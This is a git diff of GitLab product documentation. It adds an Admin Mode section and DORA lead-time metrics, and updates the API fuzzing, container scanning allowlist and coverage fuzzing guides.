> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53637) in GitLab 13.9.
diff --git a/doc/user/admin_area/settings/sign_in_restrictions.md b/doc/user/admin_area/settings/sign_in_restrictions.md
index a34a63f4543..7b2928a3873 100644
--- a/doc/user/admin_area/settings/sign_in_restrictions.md
+++ b/doc/user/admin_area/settings/sign_in_restrictions.md
@@ -23,9 +23,86 @@ You can restrict the password authentication for web interface and Git over HTTP
- **Web interface**: When this feature is disabled, an [external authentication provider](../../../administration/auth/README.md) must be used.
- **Git over HTTP(S)**: When this feature is disabled, a [Personal Access Token](../../profile/personal_access_tokens.md) must be used to authenticate.
+## Admin Mode
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2158) in GitLab 13.10.
+> - It's [deployed behind the feature flag](../../../user/feature_flags.md) `:user_mode_in_session`, disabled by default.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to enable it.
+
+When this feature is enabled, instance administrators are limited as regular users. During that period,
+they do not have access to all projects, groups, or the **Admin Area** menu.
+
+To access potentially dangerous resources, an administrator can activate Admin Mode by:
+
+- Selecting the *Enable Admin Mode* button
+- Trying to access any part of the UI that requires an administrator role, specifically those which call `/admin` endpoints.
+
+The main use case allows administrators to perform their regular tasks as a regular
+user, based on their memberships, without having to set up a second account for
+security reasons.
+
+When Admin Mode status is disabled, administrative users cannot access resources unless
+they've been explicitly granted access. For example, when Admin Mode is disabled, they
+get a `404` error if they try to open a private group or project, unless
+they are members of that group or project.
+
+2FA should be enabled for administrators and is supported for the Admin Mode flow, as are
+OmniAuth providers and LDAP auth. The Admin Mode status is stored in the active user
+session and remains active until it is explicitly disabled (it will be disabled
+automatically after a timeout otherwise).
+
+### Limitations of Admin Mode
+
+The following access methods are **not** protected by Admin Mode:
+
+- Git client access (SSH using public keys or HTTPS using Personal Access Tokens).
+- API access using a Personal Access Token.
+
+In other words, administrators who are otherwise limited by Admin Mode can still use
+Git clients, and access RESTful API endpoints as administrators, without additional
+authentication steps.
+
+We may address these limitations in the future. For more information see the following epic:
+[Admin mode for GitLab Administrators](https://gitlab.com/groups/gitlab-org/-/epics/2158).
+
+### Troubleshooting Admin Mode
+
+If necessary, you can disable **Admin Mode** as an administrator by using one of these two methods:
+
+- **API**:
+
+ ```shell
+ curl --request PUT --header "PRIVATE-TOKEN:$ADMIN_TOKEN" "<gitlab-url>/api/v4/application/settings?admin_mode=false"
+ ```
+
+- [**Rails console**](../../../administration/operations/rails_console.md#starting-a-rails-console-session):
+
+ ```ruby
+ ::Gitlab::CurrentSettings.update_attributes!(admin_mode: false)
+ ```
+
+## Enable or disable Admin Mode
+
+Admin Mode is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:user_mode_in_session)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:user_mode_in_session)
+```
+
## Two-factor authentication
-When this feature enabled, all users must use the [two-factor authentication](../../profile/account/two_factor_authentication.md).
+When this feature is enabled, all users must use the [two-factor authentication](../../profile/account/two_factor_authentication.md).
After the two-factor authentication is configured as mandatory, users are allowed
to skip forced configuration of two-factor authentication for the configurable grace
diff --git a/doc/user/analytics/ci_cd_analytics.md b/doc/user/analytics/ci_cd_analytics.md
index 0f19998749d..397f311adae 100644
--- a/doc/user/analytics/ci_cd_analytics.md
+++ b/doc/user/analytics/ci_cd_analytics.md
@@ -22,7 +22,10 @@ View pipeline duration history:
![Pipeline duration](img/pipelines_duration_chart.png)
-## DORA4 Metrics
+## DevOps Research and Assessment (DORA) key metrics **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/275991) in GitLab 13.7.
+> - Added support for [lead time for changes](https://gitlab.com/gitlab-org/gitlab/-/issues/291746) in GitLab 13.10.
Customer experience is a key metric. Users want to measure platform stability and other
post-deployment performance KPIs, and set targets for customer behavior, experience, and financial
@@ -41,11 +44,20 @@ performance indicators for software development teams:
- Time to restore service: How long it takes an organization to recover from a failure in
production.
-GitLab plans to add support for all the DORA4 metrics at the project and group levels. GitLab added
-the first metric, deployment frequency, at the project and group scopes for [CI/CD charts](ci_cd_analytics.md#deployment-frequency-charts),
-the [Project API]( ../../api/dora4_project_analytics.md), and the [Group API]( ../../api/dora4_group_analytics.md).
+### Supported metrics in GitLab
+
+The following table shows the supported metrics, at which level they are supported, and which GitLab version (API and UI) they were introduced:
+
+| Metric | Level | API version | Chart (UI) version | Comments |
+| --------------- | ----------- | --------------- | ---------- | ------- |
+| `deployment_frequency` | Project-level | [13.7+](../../api/dora/metrics.md) | [13.8+](#deployment-frequency-charts) | The [old API endopint](../../api/dora4_project_analytics.md) was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/323713) in 13.10. |
+| `deployment_frequency` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | |
+| `lead_time_for_changes` | Project-level | [13.10+](../../api/dora/metrics.md) | To be supported | Unit in seconds. Aggregation method is median. |
+| `lead_time_for_changes` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | Unit in seconds. Aggregation method is median. |
+| `change_failure_rate` | Project/Group-level | To be supported | To be supported | |
+| `time_to_restore_service` | Project/Group-level | To be supported | To be supported | |
-## Deployment frequency charts **(ULTIMATE)**
+### Deployment frequency charts **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/275991) in GitLab 13.8.
@@ -54,3 +66,18 @@ The **Analytics > CI/CD Analytics** page shows information about the deployment
information to appear on the graphs.
![Deployment frequency](img/deployment_frequency_chart_v13_8.png)
+
+### Lead time charts **(ULTIMATE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250329) in GitLab 13.11.
+
+The charts in the **Lead Time** tab show information about how long it takes
+merge requests to be deployed to a production environment.
+
+![Lead time](img/lead_time_chart_v13_11.png)
+
+Smaller values are better. Small lead times indicate fast, efficient deployment
+processes.
+
+For time periods in which no merge requests were deployed, the charts render a
+red, dashed line.
diff --git a/doc/user/analytics/code_review_analytics.md b/doc/user/analytics/code_review_analytics.md
index 19016c3aa26..fe091fc9899 100644
--- a/doc/user/analytics/code_review_analytics.md
+++ b/doc/user/analytics/code_review_analytics.md
@@ -24,11 +24,11 @@ Initially, no data appears. Data is populated as users comment on open merge req
Code Review Analytics is available to users with Reporter access and above, and displays a table of open merge requests that have at least one non-author comment. The review time is measured from the time the first non-author comment was submitted.
-To access Code Review Analytics, from your project's menu, go to **Project Analytics > Code Review**.
+To access Code Review Analytics, from your project's menu, go to **Analytics > Code Review**.
You can filter the list of merge requests by milestone and label.
-![Code Review Analytics](img/code_review_analytics_v12_8.png "List of code reviews; oldest review first.")
+![Code Review Analytics](img/code_review_analytics_v13_11.png "List of code reviews; oldest review first.")
The table is sorted by:
diff --git a/doc/user/analytics/img/code_review_analytics_v12_8.png b/doc/user/analytics/img/code_review_analytics_v12_8.png
deleted file mode 100644
index 3b23e74130a..00000000000
--- a/doc/user/analytics/img/code_review_analytics_v12_8.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/analytics/img/code_review_analytics_v13_11.png b/doc/user/analytics/img/code_review_analytics_v13_11.png
new file mode 100644
index 00000000000..e337afa3ace
--- /dev/null
+++ b/doc/user/analytics/img/code_review_analytics_v13_11.png
Binary files differ
diff --git a/doc/user/analytics/img/issues_created_per_month_v12_8.png b/doc/user/analytics/img/issues_created_per_month_v12_8.png
deleted file mode 100644
index fccfa949779..00000000000
--- a/doc/user/analytics/img/issues_created_per_month_v12_8.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/analytics/img/issues_created_per_month_v13_11.png b/doc/user/analytics/img/issues_created_per_month_v13_11.png
new file mode 100644
index 00000000000..01ebde5a54d
--- /dev/null
+++ b/doc/user/analytics/img/issues_created_per_month_v13_11.png
Binary files differ
diff --git a/doc/user/analytics/img/lead_time_chart_v13_11.png b/doc/user/analytics/img/lead_time_chart_v13_11.png
new file mode 100644
index 00000000000..5577e215711
--- /dev/null
+++ b/doc/user/analytics/img/lead_time_chart_v13_11.png
Binary files differ
diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md
index fe35d575373..6e3c9cf7a5f 100644
--- a/doc/user/analytics/index.md
+++ b/doc/user/analytics/index.md
@@ -23,7 +23,7 @@ as described in ([Measuring DevOps Performance](https://devops.com/measuring-dev
- MTTD (Mean Time to Detect): The average duration that a bug goes undetected in production. GitLab measures MTTD from deployment of bug to issue creation.
- MTTM (Mean Time To Merge): The average lifespan of a merge request. GitLab measures MTTM from merge request creation to merge request merge (and closed/un-merged merge requests are excluded). For more information, see [Merge Request Analytics](merge_request_analytics.md).
- MTTR (Mean Time to Recover/Repair/Resolution/Resolve/Restore): The average duration that a bug is not fixed in production. GitLab measures MTTR from deployment of bug to deployment of fix.
-- Lead time: The duration of the work itself. Often displayed in combination with "cycle time." GitLab measures from issue first merge request creation to issue close. Note: Obviously work started before the creation of the first merge request. We plan to start measuring from "issue first commit" as a better proxy, although still imperfect. GitLab displays lead time in [Value Stream Analytics](value_stream_analytics.md).
+- Lead time: The duration of the work itself. Often displayed in combination with "cycle time." GitLab measures from issue first merge request creation to issue close. Note: Work started before the creation of the first merge request. We plan to start measuring from "issue first commit" as a better proxy, although still imperfect. GitLab displays lead time in [Value Stream Analytics](value_stream_analytics.md).
- Throughput: The number of issues closed or merge requests merged (not closed) in some period of time. Often measured per sprint. GitLab displays merge request throughput in [Merge Request Analytics](merge_request_analytics.md).
- Value Stream: The entire work process that is followed to deliver value to customers. For example, the [DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/) is a value stream that starts with "plan" and ends with "monitor". GitLab helps you track your value stream using [Value Stream Analytics](value_stream_analytics.md).
- Velocity: The total issue burden completed in some period of time. The burden is usually measured in points or weight, often per sprint. For example, your velocity may be "30 points per sprint". GitLab measures velocity as the total points/weight of issues closed in a given period of time.
@@ -46,11 +46,13 @@ in one place.
The following analytics features are available at the group level:
- [Contribution](../group/contribution_analytics/index.md). **(PREMIUM)**
+- [DevOps Adoption](../group/devops_adoption/index.md). **(ULTIMATE)**
- [Insights](../group/insights/index.md). **(ULTIMATE)**
- [Issue](../group/issues_analytics/index.md). **(PREMIUM)**
-- [Productivity](productivity_analytics.md) **(PREMIUM)**
-- [Repositories](../group/repositories_analytics/index.md) **(PREMIUM)**
+- [Productivity](productivity_analytics.md). **(PREMIUM)**
+- [Repositories](../group/repositories_analytics/index.md). **(PREMIUM)**
- [Value Stream](../group/value_stream_analytics/index.md). **(PREMIUM)**
+- [Application Security](../application_security/security_dashboard/#group-security-dashboard). **(ULTIMATE)**
## Project-level analytics
@@ -64,3 +66,10 @@ The following analytics features are available at the project level:
[feature flag](../../development/feature_flags/index.md#enabling-a-feature-flag-locally-in-development). **(PREMIUM)**
- [Repository](repository_analytics.md). **(FREE)**
- [Value Stream](value_stream_analytics.md). **(FREE)**
+- [Application Security](../application_security/security_dashboard/#project-security-dashboard). **(ULTIMATE)**
+
+## User-configurable analytics
+
+The following analytics features are available for users to create personalized views:
+
+- [Application Security](../application_security/security_dashboard/#security-center). **(ULTIMATE)**
diff --git a/doc/user/analytics/issue_analytics.md b/doc/user/analytics/issue_analytics.md
index 6c6911ff4f4..b77a25a9d62 100644
--- a/doc/user/analytics/issue_analytics.md
+++ b/doc/user/analytics/issue_analytics.md
@@ -13,7 +13,7 @@ Issue Analytics is a bar graph which illustrates the number of issues created ea
The default time span is 13 months, which includes the current month, and the 12 months
prior.
-To access the chart, navigate to your project sidebar and select **{chart}** **Analytics > Issue Analytics**.
+To access the chart, navigate to your project sidebar and select **Analytics > Issue**.
Hover over each bar to see the total number of issues.
@@ -31,7 +31,7 @@ You can change the total number of months displayed by setting a URL parameter.
For example, `https://gitlab.com/groups/gitlab-org/-/issues_analytics?months_back=15`
shows a total of 15 months for the chart in the GitLab.org group.
-![Issues created per month](img/issues_created_per_month_v12_8.png)
+![Issues created per month](img/issues_created_per_month_v13_11.png)
## Drill into the information
diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md
index 6c41d93d51f..2af98492ee7 100644
--- a/doc/user/analytics/value_stream_analytics.md
+++ b/doc/user/analytics/value_stream_analytics.md
@@ -58,19 +58,13 @@ GitLab provides the ability to filter analytics based on a date range. To filter
The "Time" metrics near the top of the page are measured as follows:
- **Lead time**: median time from issue created to issue closed.
-- **Cycle time**: median time from first commit to issue closed.
-
-NOTE:
-A commit is associated with an issue by [crosslinking](../project/issues/crosslinking_issues.md) in the commit message or by manually linking the merge request containing the commit.
+- **Cycle time**: median time from first commit to issue closed. (You can associate a commit with an issue by [crosslinking in the commit message](../project/issues/crosslinking_issues.md#from-commit-messages).)
## How the stages are measured
-Value Stream Analytics records stage time and data based on the project issues with the
-exception of the staging stage, where only data deployed to
-production are measured.
-
-Specifically, if your CI is not set up and you have not defined a [production environment](#how-the-production-environment-is-identified), then you will not have any
-data for this stage.
+Value Stream Analytics uses start events and stop events to measure the time that an Issue or MR spends in each stage.
+For example, a stage might start when one label is added to an issue, and end when another label is added.
+Items are not included in the stage time calculation if they have not reached the stop event.
Each stage of Value Stream Analytics is further described in the table below.
@@ -103,14 +97,8 @@ In short, the Value Stream Analytics dashboard tracks data related to [GitLab fl
## How the production environment is identified
-Value Stream Analytics identifies production environments by looking for project [environments](../../ci/yaml/README.md#environment) with a name matching any of these patterns:
-
-- `prod` or `prod/*`
-- `production` or `production/*`
-
-These patterns are not case-sensitive.
-
-You can change the name of a project environment in your GitLab CI/CD configuration.
+Value Stream Analytics identifies production environments based on
+[the deployment tier of environments](../../ci/environments/index.md#deployment-tier-of-environments).
## Example workflow
diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md
index 036da0068b5..dfb7e12a8be 100644
--- a/doc/user/application_security/api_fuzzing/index.md
+++ b/doc/user/application_security/api_fuzzing/index.md
@@ -63,6 +63,7 @@ Examples of both configurations can be found here:
- [Example OpenAPI v2 specification project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing-example/-/tree/openapi)
- [Example HTTP Archive (HAR) project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing-example/-/tree/har)
- [Example Postman Collection project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing/postman-api-fuzzing-example)
+- [Example GraphQL project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing/graphql-api-fuzzing-example)
WARNING:
GitLab 14.0 will require that you place API fuzzing configuration files (for example,
@@ -73,10 +74,6 @@ starting in GitLab 14.0, GitLab will not check your repository's root for config
### Configuration form
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299234) in GitLab 13.10.
-> - It's [deployed behind a feature flag](../../../user/feature_flags.md), enabled by default.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-api-fuzzing-configuration-form). **(ULTIMATE)**
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
@@ -102,25 +99,6 @@ to your project's `.gitlab-ci.yml` file where you can paste the YAML configurati
Select **Copy code only** to copy the snippet to your clipboard and close the modal.
-#### Enable or disable API Fuzzing configuration form **(ULTIMATE)**
-
-The API Fuzzing configuration form is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can opt to disable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:api_fuzzing_configuration_ui)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:api_fuzzing_configuration_ui)
-```
-
### OpenAPI Specification
> Support for OpenAPI Specification v3 was
@@ -465,7 +443,7 @@ To use HTTP basic authentication, two CI/CD variables are added to your `.gitlab
- `FUZZAPI_HTTP_USERNAME`: The username for authentication.
- `FUZZAPI_HTTP_PASSWORD`: The password for authentication.
-For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui)
+For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/README.md#custom-cicd-variables)
(for example, `TEST_API_PASSWORD`) set to the password. You can create CI/CD variables from the
GitLab projects page at **Settings > CI/CD**, in the **Variables** section. Use that variable
as the value for `FUZZAPI_HTTP_PASSWORD`:
@@ -500,7 +478,7 @@ outgoing HTTP requests.
Follow these steps to provide the bearer token with `FUZZAPI_OVERRIDES_ENV`:
-1. [Create a CI/CD variable](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui),
+1. [Create a CI/CD variable](../../../ci/variables/README.md#custom-cicd-variables),
for example `TEST_API_BEARERAUTH`, with the value
`{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You
can create CI/CD variables from the GitLab projects page at **Settings > CI/CD**, in the
@@ -839,7 +817,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
-[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-level-cicd-variables):
+[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables):
```yaml
include:
@@ -975,7 +953,7 @@ faults it reports.
## Viewing fuzzing faults
The API Fuzzing analyzer produces a JSON report that is collected and used
-[to populate the faults into GitLab vulnerability screens](../index.md#view-details-of-an-api-fuzzing-vulnerability).
+[to populate the faults into GitLab vulnerability screens](#view-details-of-an-api-fuzzing-vulnerability).
Fuzzing faults show up as vulnerabilities with a severity of Unknown.
The faults that API fuzzing finds require manual investigation and aren't associated with a specific
@@ -984,8 +962,42 @@ they should be fixed. See [handling false positives](#handling-false-positives)
for information about configuration changes you can make to limit the number of false positives
reported.
-For additional information, see
-[View details of an API Fuzzing vulnerability](../index.md#view-details-of-an-api-fuzzing-vulnerability).
+### View details of an API Fuzzing vulnerability
+
+> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7.
+
+Faults detected by API Fuzzing occur in the live web application, and require manual investigation
+to determine if they are vulnerabilities. Fuzzing faults are included as vulnerabilities with a
+severity of Unknown. To facilitate investigation of the fuzzing faults, detailed information is
+provided about the HTTP messages sent and received along with a description of the modification(s)
+made.
+
+Follow these steps to view details of a fuzzing fault:
+
+1. You can view faults in a project, or a merge request:
+
+ - In a project, go to the project's **{shield}** **Security & Compliance > Vulnerability Report**
+ page. This page shows all vulnerabilities from the default branch only.
+ - In a merge request, go the merge request's **Security** section and click the **Expand**
+ button. API Fuzzing faults are available in a section labeled
+ **API Fuzzing detected N potential vulnerabilities**. Click the title to display the fault
+ details.
+
+1. Click the fault's title to display the fault's details. The table below describes these details.
+
+ | Field | Description |
+ |:--------------------|:----------------------------------------------------------------------------------------|
+ | Description | Description of the fault including what was modified. |
+ | Project | Namespace and project in which the vulnerability was detected. |
+ | Method | HTTP method used to detect the vulnerability. |
+ | URL | URL at which the vulnerability was detected. |
+ | Request | The HTTP request that caused the fault. |
+ | Unmodified Response | Response from an unmodified request. This is what a normal working response looks like. |
+ | Actual Response | Response received from fuzzed request. |
+ | Evidence | How we determined a fault occurred. |
+ | Identifiers | The fuzzing check used to find this fault. |
+ | Severity | Severity of the finding is always Unknown. |
+ | Scanner Type | Scanner used to perform testing. |
### Security Dashboard
@@ -1016,7 +1028,7 @@ False positives can be handled in two ways:
Checks perform testing of a specific type and can be turned on and off for specific configuration
profiles. The provided [configuration files](#configuration-files) define several profiles that you
can use. The profile definition in the configuration file lists all the checks that are active
-during a scan. To turn off a specific check, simply remove it from the profile definition in the
+during a scan. To turn off a specific check, remove it from the profile definition in the
configuration file. The profiles are defined in the `Profiles` section of the configuration file.
Example profile definition:
@@ -1131,6 +1143,51 @@ Profiles:
UnicodeFuzzing: true
```
+## Troubleshooting
+
+### Error, the OpenAPI document is not valid. Errors were found during validation of the document using the published OpenAPI schema
+
+At the start of an API Fuzzing job the OpenAPI specification is validated against the [published schema](https://github.com/OAI/OpenAPI-Specification/tree/master/schemas). This error is shown when the provided OpenAPI specification has validation errors. Errors can be introduced when creating an OpenAPI specification manually, and also when the schema is generated.
+
+For OpenAPI specifications that are generated automatically validation errors are often the result of missing code annotations.
+
+**Error message**
+
+- In [GitLab 13.11 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/323939), `Error, the OpenAPI document is not valid. Errors were found during validation of the document using the published OpenAPI schema`
+ - `OpenAPI 2.0 schema validation error ...`
+ - `OpenAPI 3.0.x schema validation error ...`
+
+**Solution**
+
+**For generated OpenAPI specifications**
+
+1. Identify the validation errors.
+ 1. Use the [Swagger Editor](https://editor.swagger.io/) to identify validation problems in your specification. The visual nature of the Swagger Editor makes it easier to understand what needs to change.
+ 1. Alternatively, you can check the log output and look for schema validation warnings. They are prefixed with messages such as `OpenAPI 2.0 schema validation error` or `OpenAPI 3.0.x schema validation error`. Each failed validation provides extra information about `location` and `description`. Note that JSON Schema validation messages might not be easy to understand. This is why we recommend the use of editors to validate schema documents.
+1. Review the documentation for the OpenAPI generation your framework/tech stack is using. Identify the changes needed to produce a correct OpenAPI document.
+1. Once the validation issues are resolved, re-run your pipeline.
+
+**For manually created OpenAPI Specifications**
+
+1. Identify the validation errors.
+ 1. The simplest solution is to use a visual tool to edit and validate the OpenAPI document. For example the [Swagger Editor](https://editor.swagger.io/) will point out schema errors and possible solutions.
+ 1. Alternatively, you can check the log output and look for schema validation warnings. They are prefixed with messages such as `OpenAPI 2.0 schema validation error` or `OpenAPI 3.0.x schema validation error`. Each failed validation provides extra information about `location` and `description`. Correct each of the validation failures and then resubmit the OpenAPI doc. Note that JSON Schema validation message might not be easy to understand. This is why we recommend the use of editors to validate document.
+1. Once the validation issues are resolved, re-run your pipeline.
+
+### Failed to start scanner session (version header not found)
+
+The API Fuzzing engine outputs an error message when it cannot establish a connection with the scanner application component. The error message is shown in the job output window of the `apifuzzer_fuzz` job. A common cause of this issue is changing the `FUZZAPI_API` variable from its default.
+
+**Error message**
+
+- In [GitLab 13.11 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/323939), `Failed to start scanner session (version header not found).`
+- In GitLab 13.10 and earlier, `API Security version header not found. Are you sure that you are connecting to the API Security server?`.
+
+**Solution**
+
+- Remove the `FUZZAPI_API` variable from the `.gitlab-ci.yml` file. The value will be inherited from the API Fuzzing CI/CD template. We recommend this method instead of manually setting a value.
+- If removing the variable is not possible, check to see if this value has changed in the latest version of the [API Fuzzing CI/CD template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml). If so, update the value in the `.gitlab-ci.yml` file.
+
<!--
### Target Container
diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md
index 909065d7907..fcf5c81db74 100644
--- a/doc/user/application_security/container_scanning/index.md
+++ b/doc/user/application_security/container_scanning/index.md
@@ -103,7 +103,7 @@ The included template:
(see [requirements](#requirements)) and scans it for possible vulnerabilities.
GitLab saves the results as a
-[Container Scanning report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscontainer_scanning)
+[Container Scanning report artifact](../../../ci/yaml/README.md#artifactsreportscontainer_scanning)
that you can download and analyze later. When downloading, you always receive the most-recent
artifact.
@@ -241,7 +241,7 @@ container_scanning:
-----END CERTIFICATE-----
```
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
### Vulnerability allowlisting
@@ -250,8 +250,85 @@ To allowlist specific vulnerabilities, follow these steps:
1. Set `GIT_STRATEGY: fetch` in your `.gitlab-ci.yml` file by following the instructions in
[overriding the container scanning template](#overriding-the-container-scanning-template).
1. Define the allowlisted vulnerabilities in a YAML file named `vulnerability-allowlist.yml`. This must use
- the format described in the [allowlist example file](https://gitlab.com/gitlab-org/security-products/analyzers/klar/-/raw/master/testdata/vulnerability-allowlist.yml).
-1. Add the `vulnerability-allowlist.yml` file to your project's Git repository.
+ the format described in [vulnerability-allowlist.yml data format](#vulnerability-allowlistyml-data-format).
+1. Add the `vulnerability-allowlist.yml` file to the root folder of your project's Git repository.
+
+#### vulnerability-allowlist.yml data format
+
+The `vulnerability-allowlist.yml` file is a YAML file that specifies a list of CVE IDs of vulnerabilities that are **allowed** to exist, because they're _false positives_, or they're _not applicable_.
+
+If a matching entry is found in the `vulnerability-allowlist.yml` file, the following happens:
+
+- The vulnerability **is not included** when the analyzer generates the `gl-container-scanning-report.json` file.
+- The Security tab of the pipeline **does not show** the vulnerability. It is not included in the JSON file, which is the source of truth for the Security tab.
+
+Example `vulnerability-allowlist.yml` file:
+
+```yaml
+generalallowlist:
+ CVE-2019-8696:
+ CVE-2014-8166: cups
+ CVE-2017-18248:
+images:
+ registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0@sha256:
+ CVE-2018-4180:
+ your.private.registry:5000/centos:
+ CVE-2015-1419: libxml2
+ CVE-2015-1447:
+```
+
+This example excludes from `gl-container-scanning-report.json`:
+
+1. All vulnerabilities with CVE IDs: _CVE-2019-8696_, _CVE-2014-8166_, _CVE-2017-18248_.
+1. All vulnerabilities found in the `registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0@sha256` container image with CVE ID _CVE-2018-4180_.
+1. All vulnerabilities found in `your.private.registry:5000/centos` container with CVE IDs _CVE-2015-1419_, _CVE-2015-1447_.
+
+##### File format
+
+- `generalallowlist` block allows you to specify CVE IDs globally. All vulnerabilities with matching CVE IDs are excluded from the scan report.
+
+- `images` block allows you to specify CVE IDs for each container image independently. All vulnerabilities from the given image with matching CVE IDs are excluded from the scan report. The image name is retrieved from one of the environment variables used to specify the Docker image to be scanned, such as `$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG` or `DOCKER_IMAGE`. The image provided in this block **must** match this value and **must not** include the tag value. For example, if you specify the image to be scanned using `DOCKER_IMAGE=alpine:3.7`, then you would use `alpine` in the `images` block, but you cannot use `alpine:3.7`.
+
+ You can specify container image in multiple ways:
+
+ - as image name only (ie. `centos`).
+ - as full image name with registry hostname (ie. `your.private.registry:5000/centos`).
+ - as full image name with registry hostname and sha256 label (ie. `registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0@sha256`).
+
+NOTE:
+The string after CVE ID (`cups` and `libxml2` in the previous example) is an optional comment format. It has **no impact** on the handling of vulnerabilities. You can include comments to describe the vulnerability.
+
+##### Container scanning job log format
+
+You can verify the results of your scan and the correctness of your `vulnerability-allowlist.yml` file by looking
+at the logs that are produced by the container scanning analyzer in `container_scanning` job details.
+
+The log contains a list of found vulnerabilities as a table, for example:
+
+```plainttext
++------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+
+| STATUS | CVE SEVERITY | PACKAGE NAME | PACKAGE VERSION | CVE DESCRIPTION |
++------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+
+| Approved | High CVE-2019-3462 | apt | 1.4.8 | Incorrect sanitation of the 302 redirect field in HTTP transport metho |
+| | | | | d of apt versions 1.4.8 and earlier can lead to content injection by a |
+| | | | | MITM attacker, potentially leading to remote code execution on the ta |
+| | | | | rget machine. |
++------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+
+| Unapproved | Medium CVE-2020-27350 | apt | 1.4.8 | APT had several integer overflows and underflows while parsing .deb pa |
+| | | | | ckages, aka GHSL-2020-168 GHSL-2020-169, in files apt-pkg/contrib/extr |
+| | | | | acttar.cc, apt-pkg/deb/debfile.cc, and apt-pkg/contrib/arfile.cc. This |
+| | | | | issue affects: apt 1.2.32ubuntu0 versions prior to 1.2.32ubuntu0.2; 1 |
+| | | | | .6.12ubuntu0 versions prior to 1.6.12ubuntu0.2; 2.0.2ubuntu0 versions |
+| | | | | prior to 2.0.2ubuntu0.2; 2.1.10ubuntu0 versions prior to 2.1.10ubuntu0 |
+| | | | | .1; |
++------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+
+| Unapproved | Medium CVE-2020-3810 | apt | 1.4.8 | Missing input validation in the ar/tar implementations of APT before v |
+| | | | | ersion 2.1.2 could result in denial of service when processing special |
+| | | | | ly crafted deb files. |
++------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+
+```
+
+Vulnerabilities in the log are marked as `Approved` when the corresponding CVE ID is added to the `vulnerability-allowlist.yml` file.
### Running container scanning in an offline environment
diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md
index 94a7d5268b7..e9097836d83 100644
--- a/doc/user/application_security/coverage_fuzzing/index.md
+++ b/doc/user/application_security/coverage_fuzzing/index.md
@@ -109,7 +109,7 @@ There are two types of jobs:
Here's our current suggestion for configuring your fuzz target's timeout:
- Set `COVFUZZ_BRANCH` to the branch where you want to run long-running (asynchronous) fuzzing
- jobs. This is `master` by default.
+ jobs. This is normally the default branch.
- Use regression or short-running fuzzing jobs for other branches or merge requests.
This suggestion helps find new bugs on the development branch and catch old bugs in merge requests
@@ -121,10 +121,10 @@ any option available in the underlying fuzzing engine.
### Available CI/CD variables
-| CI/CD variable | Description |
-|-----------------------|--------------------------------------------------------------------|
-| `COVFUZZ_BRANCH` | The branch for long-running fuzzing jobs. The default is `master`. |
-| `COVFUZZ_SEED_CORPUS` | Path to a seed corpus directory. The default is empty. |
+| CI/CD variable | Description |
+|-----------------------|--------------------------------------------------------------------------------|
